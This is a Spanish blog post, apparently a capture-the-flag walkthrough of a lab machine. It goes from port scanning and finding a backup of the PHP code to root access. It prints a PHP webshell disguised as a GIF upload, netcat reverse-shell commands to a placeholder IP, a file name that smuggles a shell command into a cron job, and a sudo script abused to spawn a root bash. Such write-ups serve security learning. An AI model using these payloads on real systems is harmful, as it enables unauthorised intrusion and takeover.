Para empezar usaré nmap para escanear los puertos buscando si podemos explotar alguno. Las opciones que he usado para el escaneo son:
-sV → Muestra las versiones de los servicios abiertos
-T4 → Define una plantilla de tiempos
-Pn → Considera el objetivo apto para el análisis
-p → Define los puertos que se escanean, al terminar con otro -, son todosv
Voy a descartar el puerto de SSH e intentaré conseguir acceso a las flags por medio de la web.
Abro la web y viendo el html me encuentro con esto:
El comentario nos da una pista de que el upload y la galería todavía no están enlazadas, pero suponemos su existencia. Para buscar posibles directorios usaré dirb, una herramienta que escanea contenido web por medio de diccionarios.
Vemos que existe el directorio backup y si accedemos a él encontramos un archivo que podemos descargar. Si lo descomprimimos vemos código php, en concreto el de los archivos upload.php , photos.php, lib.php e index.php . Además de la existencia de estos archivos, puede resultar interesante /uploads/ .
Echando un vistazo al código de upload.php veremos como se filtran los archivos que subimos.
Si intentábamos subir nuestra webshell con la terminación .php, no nos dejaba, pero usando .php.gif, sí. El contenido del archivo .php es:
GIF89a
<pre><?php echo shell_exec($_GET[0]); ?></pre>
Después de crearlo, añadimos la extensión .gif y lo subimos.
Una vez subida, vamos a photos.php y damos click derecho para después dar en "ver imagen", veremos que la webshell está subida correctamente.
Si ponemos un puerto a la escucha, estará esperando una conexión que estableceremos desde nuestra webshell.
Con la "imagen" que hemos subido abierta, podemos ejecutar un comando para establecer la conexión. Tan solo tendríamos que añadir ?0=nc NuestraIP 1234 -c bash . Con este comando establecemos la conexión.
Ahora que tenemos establecida la conexión, necesitamos identificarnos como un usuario. Dirigiéndonos al directorio home/ vemos que existe el usuario guly, al cual necesitaremos acceder.
Podemos leer los archivos que se ubican en /home/guly, crontab.guly es:
*/3 * * * * php /home/guly/check_attack.php
Y check_attack.php:
Viendo los parámetros que usa podemos usar touch en un archivo con ';nc NuestraIP 4321 -c bash'.
Si tenemos escuchando netcat con el puerto 4321, en un máximo de 3 minutos obtendremos una conexión como guly, ahora podemos leer la flag de user.
Ahora que tenemos la flag de usuario necesitaremos hacer una escalada de privilegios para conseguir la flag de root.
Para seguir, hacemos un upgrade a la shell para tener más control, para eso podemos consultar alguna cheetsheet.
Si ejecutamos sudo -l podemos ver qué es capaz de ejecutar el usuario como root, sin una contraseña adicional. Hay un archivo curioso llamado changename.sh que podemos abrir para ver cómo funciona. El script, escrito en bash, nos pide ciertos valores, jugaremos con inferface BOOTPROTO, donde pondremos un valor y con una separación de un espacio, añadiremos bash -i con lo que estaremos ejecutando bash de manera interactiva como root.
De esta forma hemos terminado la máquina, ya podemos leer root.txt y obtener la flag.
Muchas gracias a todos por leerme una semana más, espero que haya quedado clara la explicación y os haya gustado. Si tenéis alguna duda, sugerencia o comentario, podéis contactar conmigo.
No hay comentarios:
Publicar un comentario